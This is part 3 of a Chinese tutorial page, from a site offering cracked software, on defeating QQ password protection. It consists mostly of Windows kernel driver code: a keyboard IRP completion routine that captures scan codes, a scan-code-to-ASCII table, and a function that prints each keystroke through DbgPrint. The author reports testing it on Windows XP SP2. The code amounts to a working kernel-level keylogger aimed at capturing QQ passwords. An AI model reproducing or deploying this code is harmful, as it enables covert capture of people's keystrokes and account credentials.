免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > qq相关 > 浅谈QQ密码保护原理(3)

浅谈QQ密码保护原理(3)

时间:2011-11-09 13:59来源:未知 整理:寂涯网络 点击:


   if(NT_SUCCESS(Irp->IoStatus.Status))
   {
      buf=Irp->AssociatedIrp.SystemBuffer;
     
 MyKeyPrint((UCHAR)buf[2]);           //字符打印函数
   }
   if(Irp->PendingReturned)

 
   {
      IoMarkIrpPending(Irp);
   }
   return Irp->IoStatus.Status;
}

这里要说明的是,由于编辑要我把扫描码转化成字符输出来,这还废了我一些劲,因为
在内核态下没有直接可用的函数接口转换扫描码成为ASCII 码。于是只能自己动手写这还是
挺伤脑经的。这里用了直接定址法将字符放在一个数组中,为了不越界,定义一个大一点的
 数组。 
 
UCHAR
asciiTbl[256]={'0','0','1','2','3','4','5','6','7','8','9','0','0','0','0',
'0','q','w','e','r','t',
                         
'y','u','i','o','p','0','0','0','0','a','s','d','f','g','h','j','k','l','0'
,'0',
                         
'0','0','0','z','x','c','v','b','n','m','0','0','0','0','0','0','0','0','0'
,'0',
                         
'0','0','0','0','0','0','0','0','0','0','7','8','9','0','4','5','6','0','1'
,'2',
                          '3','0'
                         };

这里为了简便,我只写出了部分键盘扫描码和ASCII的转换,共有键盘字符键,数字键,
小键盘键。并且也没有考虑shift,caps 键对字符的影响,其他的的按键转换同理,当检测
到有上述两个键输入时,将字符大写就可以。为了节省篇幅,就不多说了。字符转换函数如
下:
void _stdcall MyKeyPrint(UCHAR sch)         //字符打印函数
{  
   if(gC2pKeyCount%2==1)
{
   UCHAR ch=0; 
   int a=0;
   a=(int)sch;
   ch=asciiTbl[a];
   DbgPrint("%C \n",ch);
}
}

效果如下图:

 

至于驱动文件的安装,这里就不多说了,到此也就结束了。这里存在一个稳定性的小问
题,在新分发函数替换过程中,一部分分发函数已经被替换,此时刚好有连续的几个 IRP
需要处理中间具有相关性,这种情况下可能破坏他们的关联,但是这种问题的几率也是相当
小,是小概率事件,不予考虑。经本人测试可用,环境为Windows XP SP2。

 

本页地址 http://www.jybase.net/qqxiangguan/20111109594.html

百度搜索更多

谷歌搜索更多

顶一下
(2)
100%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com